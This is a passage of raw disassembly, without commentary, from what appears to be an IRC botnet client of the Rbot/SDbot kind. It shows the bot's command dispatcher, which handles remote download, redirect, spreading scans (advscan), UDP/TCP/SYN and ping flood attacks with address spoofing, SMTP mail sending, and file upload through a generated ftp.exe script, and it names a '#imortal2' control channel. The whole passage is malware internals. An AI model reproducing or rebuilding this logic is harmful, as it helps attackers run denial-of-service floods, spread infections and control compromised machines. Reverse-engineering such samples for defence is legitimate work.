esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_3294], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_3290], eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42DE20 push eax mov [ebp+4Ch+var_349C], esi call sub_41E6A6 add esp, 44h push ebx lea eax, [ebp+4Ch+var_2D0] push 10h push eax call sub_40AE85 add esp, 0Ch mov [ebp+4Ch+var_3298], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_349C] push eax push offset loc_41640E push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_3298] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4072FB call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42DDE4 jmp loc_4089B1 ; --------------------------------------------------------------------------- loc_4072F3: ; CODE XREF: sub_40274D+4BB4j push 32h call ds:dword_42B014 ; Sleep loc_4072FB: ; CODE XREF: sub_40274D+4B93j cmp [ebp+4Ch+var_328C], ebx jz short loc_4072F3 jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_407308: ; CODE XREF: sub_40274D+4AD1j push [ebp+4Ch+var_10] push offset aPhatwonk ; "phatwonk" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40870E push [ebp+4Ch+var_10] push offset aWonk ; "wonk" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40870E push [ebp+4Ch+var_10] push offset aDownload ; "download" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4085D7 push [ebp+4Ch+var_10] push offset aDl ; "dl" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4085D7 push [ebp+4Ch+var_10] push offset aRedirect ; "redirect" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4084E1 push [ebp+4Ch+var_10] push offset aRd ; "rd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4084E1 push [ebp+4Ch+var_10] push offset aScan_0 ; "scan" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4083F2 push [ebp+4Ch+var_10] push offset aSc ; "sc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4083F2 push [ebp+4Ch+var_10] push offset aC_privmsg ; "c_privmsg" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4082F0 push [ebp+4Ch+var_10] push offset aC_pm ; "c_pm" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4082F0 push [ebp+4Ch+var_10] push offset aC_action ; "c_action" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4081FB push [ebp+4Ch+var_10] push offset aC_a ; "c_a" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4081FB mov eax, [ebp+esi+4Ch+var_94] cmp eax, ebx mov [ebp+4Ch+var_14], eax jz loc_402B92 push [ebp+4Ch+var_10] push offset aPortscan ; "portscan" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4080F9 push [ebp+4Ch+var_10] push offset aPsc ; "psc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4080F9 push [ebp+4Ch+var_10] push offset aAdvscan ; "advscan" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_407C2E push [ebp+4Ch+var_10] push offset aAsc ; "asc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_407C2E push [ebp+4Ch+var_10] push offset aUdpflood ; "udpflood" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_407B12 push [ebp+4Ch+var_10] push offset aUdp ; "udp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_407B12 push [ebp+4Ch+var_10] push offset aU ; "u" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_407B12 push [ebp+4Ch+var_10] push offset aNetsend ; "netsend" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4079FF push [ebp+4Ch+var_10] push offset aNs ; "ns" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4079FF push [ebp+4Ch+var_10] push offset aPingflood ; "pingflood" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4078DC push [ebp+4Ch+var_10] push offset aPing_0 ; "ping" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4078DC push [ebp+4Ch+var_10] push offset aP ; "p" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4078DC push [ebp+4Ch+var_10] push offset aTcpflood ; "tcpflood" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40773D push [ebp+4Ch+var_10] push offset aTcp ; "tcp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40773D push [ebp+4Ch+var_10] push offset aEmail ; "email" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_4076E8 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_47F4] push eax call sub_41EEC0 push edi call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_20], eax lea eax, [ebp+4Ch+var_4090] push eax call sub_41EEC0 push [ebp+4Ch+var_14] lea eax, [ebp+4Ch+var_4390] push eax call sub_41EEC0 push offset asc_42FCE0 ; " " push offset a_ ; "_" push [ebp+esi+4Ch+var_90] call sub_41AB7D push eax lea eax, [ebp+4Ch+var_4290] push eax call sub_41EEC0 add esp, 30h lea eax, [ebp+4Ch+var_5590] push eax push 101h call ds:dword_444110 ; WSAStartup lea eax, [ebp+4Ch+var_47F4] push eax call ds:dword_444168 ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_444100 ; socket push [ebp+4Ch+var_20] mov esi, eax mov [ebp+4Ch+var_324], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+4Ch+var_320], eax call ds:dword_444260 ; htons mov [ebp+4Ch+var_322], ax lea eax, [ebp+4Ch+var_4290] push eax lea eax, [ebp+4Ch+var_4090] push eax lea eax, [ebp+4Ch+var_4290] push eax lea eax, [ebp+4Ch+var_4390] push eax lea eax, [ebp+4Ch+var_4090] push eax lea eax, [ebp+4Ch+var_5990] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41E6A6 add esp, 1Ch push 10h lea eax, [ebp+4Ch+var_324] push eax push esi call ds:dword_4440AC ; connect push ebx mov edi, 100h push edi lea eax, [ebp+4Ch+var_4190] push eax push esi call ds:dword_444064 ; recv lea eax, [ebp+4Ch+var_4190] push ebx push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp+4Ch+var_5990] push eax push esi call ds:dword_4441A0 ; send push ebx push edi lea eax, [ebp+4Ch+var_4190] push eax push esi call ds:dword_444064 ; recv push esi call ds:dword_444218 ; closesocket call ds:dword_444224 ; WSACleanup lea eax, [ebp+4Ch+var_4390] push eax push offset unk_42DCA4 loc_4076D4: ; CODE XREF: sub_40274D+2C5Cj ; sub_40274D+636Fj ... lea eax, [ebp+4Ch+var_2D0] loc_4076DA: ; CODE XREF: sub_40274D+6671j push eax call sub_41E6A6 loc_4076E0: ; CODE XREF: sub_40274D+226Dj add esp, 0Ch jmp loc_406C4D ; --------------------------------------------------------------------------- loc_4076E8: ; CODE XREF: sub_40274D+4E31j push [ebp+4Ch+var_10] push offset aHttpcon ; "httpcon" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_407712 push [ebp+4Ch+var_10] push offset aHcon ; "hcon" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_407C7B loc_407712: ; CODE XREF: sub_40274D+4FACj push [ebp+esi+4Ch+var_90] push [ebp+4Ch+var_14] push [ebp+4Ch+arg_0] push edi call sub_41E7AD pop ecx push eax push [ebp+4Ch+var_8] push [ebp+4Ch+var_C] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_4128A1 jmp loc_40A0AE ; --------------------------------------------------------------------------- loc_40773D: ; CODE XREF: sub_40274D+4E03j ; sub_40274D+4E1Aj push [ebp+4Ch+var_8] mov esi, 80h lea eax, [ebp+4Ch+var_135C] push esi push eax call sub_41E6FE lea eax, [ebp+4Ch+var_135C] push eax push offset aSyn ; "syn" call sub_41E990 add esp, 14h test eax, eax jz short loc_4077A2 lea eax, [ebp+4Ch+var_135C] push eax push offset aAck ; "ack" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_4077A2 lea eax, [ebp+4Ch+var_135C] push eax push offset aRandom_0 ; "random" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_4077A2 push offset unk_42DC5C jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_4077A2: ; CODE XREF: sub_40274D+501Bj ; sub_40274D+5032j ... push [ebp+4Ch+var_14] call sub_41E7AD cmp eax, ebx pop ecx mov [ebp+4Ch+var_1254], eax jle loc_4078C4 push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_135C] push esi push eax call sub_41E6FE push edi lea eax, [ebp+4Ch+var_13DC] push esi push eax call sub_41E6FE push [ebp+4Ch+arg_0] call sub_41E7AD push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_1258], eax xor eax, eax cmp [ebp+4Ch+var_8F6], bl push esi setnz al mov [ebp+4Ch+var_1250], eax mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_13E0], eax lea eax, [ebp+4Ch+var_12DC] push eax call sub_41E6FE mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_124C], eax mov eax, [ebp+4Ch+var_C] add esp, 28h cmp [ebp+4Ch+var_1250], ebx mov [ebp+4Ch+var_1248], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_407836 mov eax, offset aNormal ; "Normal" loc_407836: ; CODE XREF: sub_40274D+50E2j push [ebp+4Ch+var_14] push [ebp+4Ch+arg_0] push edi push [ebp+4Ch+var_8] push eax push offset unk_42DC18 lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE push ebx lea eax, [ebp+4Ch+var_2D0] push 14h push eax call sub_40AE85 add esp, 2Ch mov [ebp+4Ch+var_125C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_13E0] push eax push offset loc_416B1E push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_125C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4078B7 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42DBE0 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4078AF: ; CODE XREF: sub_40274D+5170j push 32h call ds:dword_42B014 ; Sleep loc_4078B7: ; CODE XREF: sub_40274D+514Fj cmp [ebp+4Ch+var_1244], ebx jz short loc_4078AF jmp loc_40698D ; --------------------------------------------------------------------------- loc_4078C4: ; CODE XREF: sub_40274D+5066j push offset unk_42DBA8 loc_4078C9: ; CODE XREF: sub_40274D+1E23j ; sub_40274D+1E39j ... lea eax, [ebp+4Ch+var_2D0] loc_4078CF: ; CODE XREF: sub_40274D+4042j push eax call sub_41E6A6 pop ecx pop ecx jmp loc_40698D ; --------------------------------------------------------------------------- loc_4078DC: ; CODE XREF: sub_40274D+4DBEj ; sub_40274D+4DD5j ... cmp ds:dword_444294, ebx jnz loc_4079E4 mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_FFC], eax mov eax, [ebp+4Ch+var_4] push 7Fh push [ebp+4Ch+var_8] mov [ebp+4Ch+var_1000], eax lea eax, [ebp+4Ch+var_1094] push eax call sub_41E860 push edi call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_1014], eax call sub_41E7AD push [ebp+4Ch+var_14] mov [ebp+4Ch+var_1010], eax call sub_41E7AD push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_100C], eax lea eax, [ebp+4Ch+var_1114] push eax call sub_41E860 push [ebp+4Ch+var_100C] mov eax, [ebp+4Ch+arg_4] push [ebp+4Ch+var_1010] mov [ebp+4Ch+var_1118], eax lea eax, [ebp+4Ch+var_1094] push eax push [ebp+4Ch+var_1014] lea eax, [ebp+4Ch+var_2D0] push offset unk_42DB60 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 16h push eax call sub_40AE85 add esp, 48h mov [ebp+4Ch+var_1004], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1118] push eax push offset word_415F82 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1004] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4079D7 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42DB24 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4079CF: ; CODE XREF: sub_40274D+5290j push 32h call ds:dword_42B014 ; Sleep loc_4079D7: ; CODE XREF: sub_40274D+526Fj cmp [ebp+4Ch+var_FF8], ebx jz short loc_4079CF jmp loc_40698D ; --------------------------------------------------------------------------- loc_4079E4: ; CODE XREF: sub_40274D+5195j push 1FFh lea eax, [ebp+4Ch+var_2D0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41E860 jmp loc_40698A ; --------------------------------------------------------------------------- loc_4079FF: ; CODE XREF: sub_40274D+4D90j ; sub_40274D+4DA7j push edi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push [ebp+4Ch+arg_0] push offset unk_42DAD0 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push [ebp+4Ch+arg_0] call sub_41E1C0 push edi mov [ebp+4Ch+var_24], eax call sub_41E1C0 mov ecx, [ebp+4Ch+var_24] push [ebp+4Ch+var_8] add ecx, eax mov [ebp+4Ch+var_24], ecx call sub_41E1C0 mov ecx, [ebp+4Ch+var_24] push [ebp+4Ch+var_10] add ecx, eax mov [ebp+4Ch+var_24], ecx call sub_41E1C0 add eax, [ebp+4Ch+var_18] mov ecx, [ebp+4Ch+var_24] push [ebp+4Ch+var_14] lea eax, [eax+ecx+7] push eax call sub_41F090 add esp, 40h push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_18], eax call sub_41E7AD cmp eax, ebx mov edi, [ebp+4Ch+var_20] pop ecx mov [ebp+4Ch+var_B8], eax mov [ebp+4Ch+var_24], ebx jle short loc_407AED loc_407A8D: ; CODE XREF: sub_40274D+5364j push [ebp+4Ch+var_18] push edi push [ebp+4Ch+var_8] call sub_41B24B add esp, 0Ch cmp eax, 1 mov [ebp+4Ch+var_20], eax jz short loc_407AB5 cmp eax, ebx jnz short loc_407AC0 inc [ebp+4Ch+var_24] mov eax, [ebp+4Ch+var_24] cmp eax, [ebp+4Ch+var_B8] jl short loc_407A8D jmp short loc_407AF6 ; --------------------------------------------------------------------------- loc_407AB5: ; CODE XREF: sub_40274D+5355j push ebx push [ebp+4Ch+var_4] push offset unk_42DA98 jmp short loc_407AFF ; --------------------------------------------------------------------------- loc_407AC0: ; CODE XREF: sub_40274D+5359j push [ebp+4Ch+var_20] lea eax, [ebp+4Ch+var_2D0] push offset unk_42DA64 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 20h loc_407AED: ; CODE XREF: sub_40274D+533Ej cmp [ebp+4Ch+var_20], ebx jnz loc_407C7B loc_407AF6: ; CODE XREF: sub_40274D+5366j push ebx push [ebp+4Ch+var_4] push offset unk_42DA30 loc_407AFF: ; CODE XREF: sub_40274D+5371j push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h jmp loc_407C7B ; --------------------------------------------------------------------------- loc_407B12: ; CODE XREF: sub_40274D+4D4Bj ; sub_40274D+4D62j ... mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_C6C], eax mov eax, [ebp+4Ch+var_4] push 7Fh push [ebp+4Ch+var_8] mov [ebp+4Ch+var_C70], eax lea eax, [ebp+4Ch+var_D04] push eax call sub_41E860 push edi call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_C84], eax call sub_41E7AD push [ebp+4Ch+var_14] mov [ebp+4Ch+var_C80], eax call sub_41E7AD mov esi, [ebp+esi+4Ch+var_90] add esp, 18h cmp esi, ebx mov [ebp+4Ch+var_C7C], eax jz short loc_407B77 push esi call sub_41E7AD pop ecx mov [ebp+4Ch+var_C78], eax jmp short loc_407B7D ; --------------------------------------------------------------------------- loc_407B77: ; CODE XREF: sub_40274D+5419j mov [ebp+4Ch+var_C78], ebx loc_407B7D: ; CODE XREF: sub_40274D+5428j push 7Fh push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_D84] push eax call sub_41E860 push [ebp+4Ch+var_C7C] mov esi, [ebp+4Ch+arg_4] push [ebp+4Ch+var_C80] lea eax, [ebp+4Ch+var_D04] push eax push [ebp+4Ch+var_C84] lea eax, [ebp+4Ch+var_2D0] push offset unk_42D9E8 push eax mov [ebp+4Ch+var_D88], esi call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 17h push eax call sub_40AE85 add esp, 30h mov [ebp+4Ch+var_C74], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_D88] push eax push offset dword_416104 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_C74] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_407C21 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D9B0 jmp loc_4089B1 ; --------------------------------------------------------------------------- loc_407C19: ; CODE XREF: sub_40274D+54DAj push 32h call ds:dword_42B014 ; Sleep loc_407C21: ; CODE XREF: sub_40274D+54B9j cmp [ebp+4Ch+var_C68], ebx jz short loc_407C19 jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_407C2E: ; CODE XREF: sub_40274D+4D1Dj ; sub_40274D+4D34j push 0Bh call sub_40B075 push edi mov [ebp+4Ch+var_20], eax call sub_41E7AD add eax, [ebp+4Ch+var_20] pop ecx cmp eax, 1F4h pop ecx jle loc_407DF1 push [ebp+4Ch+var_20] lea eax, [ebp+4Ch+var_2D0] push offset unk_42D970 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 20h loc_407C7B: ; CODE XREF: sub_40274D+4FBFj ; sub_40274D+53A3j ... mov esi, [ebp+esi+4Ch+var_90] cmp esi, ebx jz loc_402B92 push [ebp+4Ch+var_10] push offset aUpload ; "upload" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_404979 push 4 push esi call sub_419429 test eax, eax pop ecx pop ecx jnz short loc_407CC6 push esi push offset unk_42D948 loc_407CB2: ; CODE XREF: sub_40274D+7774j lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch jmp loc_404A5B ; --------------------------------------------------------------------------- loc_407CC6: ; CODE XREF: sub_40274D+555Dj call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx call sub_41ECDE push 9 cdq pop ecx idiv ecx push edx call sub_41ECDE push 63h cdq pop ecx idiv ecx push edx call sub_41ECDE cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+4Ch+var_5200] push edx push eax lea eax, [ebp+4Ch+var_2E60] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2E60] push offset aAb ; "ab" push eax call sub_41E54E add esp, 20h cmp eax, ebx mov [ebp+4Ch+var_B8], eax jz loc_402B92 push esi push [ebp+4Ch+var_14] push [ebp+4Ch+arg_0] push edi push [ebp+4Ch+var_8] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41ECA2 push [ebp+4Ch+var_B8] call sub_41E24B lea eax, [ebp+4Ch+var_2E60] push eax lea eax, [ebp+4Ch+var_4CF8] push offset aSS_2 ; "-s:%s" push eax call sub_41E6A6 add esp, 2Ch push ebx push ebx lea eax, [ebp+4Ch+var_4CF8] push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call ds:dword_444214 test eax, eax push [ebp+4Ch+var_8] push esi jz short loc_407D92 push offset unk_42D8D8 jmp short loc_407D97 ; --------------------------------------------------------------------------- loc_407D92: ; CODE XREF: sub_40274D+563Cj push offset unk_42D8A8 loc_407D97: ; CODE XREF: sub_40274D+5643j call sub_41E6A6 add esp, 0Ch cmp [ebp+4Ch+var_C], ebx jnz short loc_407DBD push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_407DBD: ; CODE XREF: sub_40274D+5655j lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 jmp short loc_407DD7 ; --------------------------------------------------------------------------- loc_407DCB: ; CODE XREF: sub_40274D+569Dj lea eax, [ebp+4Ch+var_2E60] push eax call sub_41EC78 loc_407DD7: ; CODE XREF: sub_40274D+567Cj lea eax, [ebp+4Ch+var_2E60] push 4 push eax call sub_419429 add esp, 0Ch test eax, eax jnz short loc_407DCB jmp loc_402B92 ; --------------------------------------------------------------------------- loc_407DF1: ; CODE XREF: sub_40274D+54FBj push [ebp+4Ch+var_8] call sub_41E7AD push edi mov [ebp+4Ch+var_378], eax call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_360], eax call sub_41E7AD add esp, 0Ch cmp eax, 5 mov [ebp+4Ch+var_374], eax jnb short loc_407E2A push 5 pop eax mov [ebp+4Ch+var_374], eax loc_407E2A: ; CODE XREF: sub_40274D+56D2j push 3Ch pop ecx cmp eax, ecx jbe short loc_407E37 mov [ebp+4Ch+var_374], ecx loc_407E37: ; CODE XREF: sub_40274D+56E2j push [ebp+4Ch+var_14] call sub_41E7AD mov [ebp+4Ch+var_370], eax mov eax, 320h cmp [ebp+4Ch+var_370], eax pop ecx jbe short loc_407E59 mov [ebp+4Ch+var_370], eax loc_407E59: ; CODE XREF: sub_40274D+5704j or [ebp+4Ch+var_35C], 0FFFFFFFFh cmp ds:dword_43D880, ebx mov [ebp+4Ch+var_24], ebx jz short loc_407EA8 mov edi, offset dword_43D880 loc_407E70: ; CODE XREF: sub_40274D+573Dj push [ebp+4Ch+var_8] lea eax, [edi-28h] push eax call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_407E8E inc [ebp+4Ch+var_24] add edi, 40h cmp [edi], ebx jnz short loc_407E70 jmp short loc_407EA8 ; --------------------------------------------------------------------------- loc_407E8E: ; CODE XREF: sub_40274D+5733j mov eax, [ebp+4Ch+var_24] mov ecx, eax shl ecx, 6 mov ecx, ds:dword_43D880[ecx] mov [ebp+4Ch+var_378], ecx mov [ebp+4Ch+var_35C], eax loc_407EA8: ; CODE XREF: sub_40274D+571Cj ; sub_40274D+573Fj cmp [ebp+4Ch+var_378], ebx jnz short loc_407EBA push offset unk_42D874 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_407EBA: ; CODE XREF: sub_40274D+5761j mov edi, [ebp+esi+4Ch+var_90] cmp edi, ebx mov [ebp+4Ch+var_B8], edi jz short loc_407EF5 cmp byte ptr [edi], 23h jz short loc_407EF5 push edi lea eax, [ebp+4Ch+var_48C] push 10h push eax call sub_41E6FE push 78h push edi call sub_41EFD0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+4Ch+var_34C], eax jmp loc_407FD0 ; --------------------------------------------------------------------------- loc_407EF5: ; CODE XREF: sub_40274D+5776j ; sub_40274D+577Bj cmp [ebp+4Ch+var_907], bl jnz short loc_407F17 cmp [ebp+4Ch+var_906], bl jnz short loc_407F17 cmp [ebp+4Ch+var_8F6], bl jnz short loc_407F17 push offset unk_42D840 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_407F17: ; CODE XREF: sub_40274D+57AEj ; sub_40274D+57B6j ... push 10h pop edi lea eax, [ebp+4Ch+var_2D4] push eax lea eax, [ebp+4Ch+var_300] push eax push [ebp+4Ch+arg_4] mov [ebp+4Ch+var_2D4], edi call ds:dword_444068 ; getsockname mov al, [ebp+4Ch+var_907] neg al push edi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+4Ch+var_2FC], eax push [ebp+4Ch+var_2FC] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp+4Ch+var_48C] push eax call sub_41E860 add esp, 0Ch cmp [ebp+4Ch+var_8F6], bl jz short loc_407FCA xor eax, eax cmp [ebp+4Ch+var_907], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+4Ch+var_48C] push eax call sub_41EE50 cmp edi, ebx pop ecx pop ecx mov byte ptr [ebp+4Ch+arg_0+3], bl jle short loc_407FBE loc_407F9C: ; CODE XREF: sub_40274D+586Fj cmp eax, ebx jz short loc_407FBE mov byte ptr [eax], 78h lea eax, [ebp+4Ch+var_48C] push 30h push eax call sub_41EE50 inc byte ptr [ebp+4Ch+arg_0+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+4Ch+arg_0+3] cmp ecx, edi jl short loc_407F9C loc_407FBE: ; CODE XREF: sub_40274D+584Dj ; sub_40274D+5851j mov [ebp+4Ch+var_34C], 1 jmp short loc_407FD0 ; --------------------------------------------------------------------------- loc_407FCA: ; CODE XREF: sub_40274D+5827j mov [ebp+4Ch+var_34C], ebx loc_407FD0: ; CODE XREF: sub_40274D+57A3j ; sub_40274D+587Bj mov eax, [ebp+4Ch+arg_4] push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_37C], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_354], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_350], eax mov edi, 80h lea eax, [ebp+4Ch+var_47C] push edi push eax call sub_41E6FE mov esi, [ebp+esi+4Ch+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_40801E loc_40800B: ; CODE XREF: sub_40274D+58F4j push esi loc_40800C: ; CODE XREF: sub_40274D+58DEj lea eax, [ebp+4Ch+var_3FC] push edi push eax call sub_41E6FE add esp, 0Ch jmp short loc_408049 ; --------------------------------------------------------------------------- loc_40801E: ; CODE XREF: sub_40274D+58BCj mov eax, [ebp+4Ch+var_B8] cmp eax, ebx jz short loc_40802D cmp byte ptr [eax], 23h jnz short loc_40802D push eax jmp short loc_40800C ; --------------------------------------------------------------------------- loc_40802D: ; CODE XREF: sub_40274D+58D6j ; sub_40274D+58DBj push offset byte_42B633 mov esi, offset aImortal2_0 ; "#imortal2" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40800B mov [ebp+4Ch+var_3FC], bl loc_408049: ; CODE XREF: sub_40274D+58CFj cmp [ebp+4Ch+var_34C], ebx mov eax, offset aRandom ; "Random" jnz short loc_40805B mov eax, offset aSequential ; "Sequential" loc_40805B: ; CODE XREF: sub_40274D+5907j push [ebp+4Ch+var_360] lea ecx, [ebp+4Ch+var_48C] push [ebp+4Ch+var_370] push [ebp+4Ch+var_374] push [ebp+4Ch+var_378] push ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D7D8 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 0Bh push eax call sub_40AE85 add esp, 2Ch mov [ebp+4Ch+var_36C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_48C] push eax push offset word_40BEFE push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_36C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4080EC call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D7A0 jmp loc_40697E ; --------------------------------------------------------------------------- loc_4080E4: ; CODE XREF: sub_40274D+59A5j push 32h call ds:dword_42B014 ; Sleep loc_4080EC: ; CODE XREF: sub_40274D+5984j cmp [ebp+4Ch+var_348], ebx jz short loc_4080E4 jmp loc_40698D ; --------------------------------------------------------------------------- loc_4080F9: ; CODE XREF: sub_40274D+4CEFj ; sub_40274D+4D06j push [ebp+4Ch+var_8] call sub_4022BD push edi mov [ebp+4Ch+var_4E8], eax call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_4F8], eax call sub_41E7AD push [ebp+4Ch+var_14] mov [ebp+4Ch+var_4F4], eax call sub_41E7AD mov esi, [ebp+4Ch+arg_4] push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_4F0], eax lea eax, [ebp+4Ch+var_578] push eax mov [ebp+4Ch+var_57C], esi call sub_41E860 mov eax, [ebp+4Ch+var_C] mov edi, [ebp+4Ch+var_4] add esp, 1Ch push [ebp+4Ch+var_4F4] mov [ebp+4Ch+var_4E0], edi push [ebp+4Ch+var_4F8] mov [ebp+4Ch+var_4DC], eax push [ebp+4Ch+var_4F0] push [ebp+4Ch+var_4E8] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D750 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 0Bh push eax call sub_40AE85 add esp, 24h mov [ebp+4Ch+var_4EC], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_57C] push eax push offset dword_40C4C0 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_4EC] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4081EE call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D710 jmp loc_40491A ; 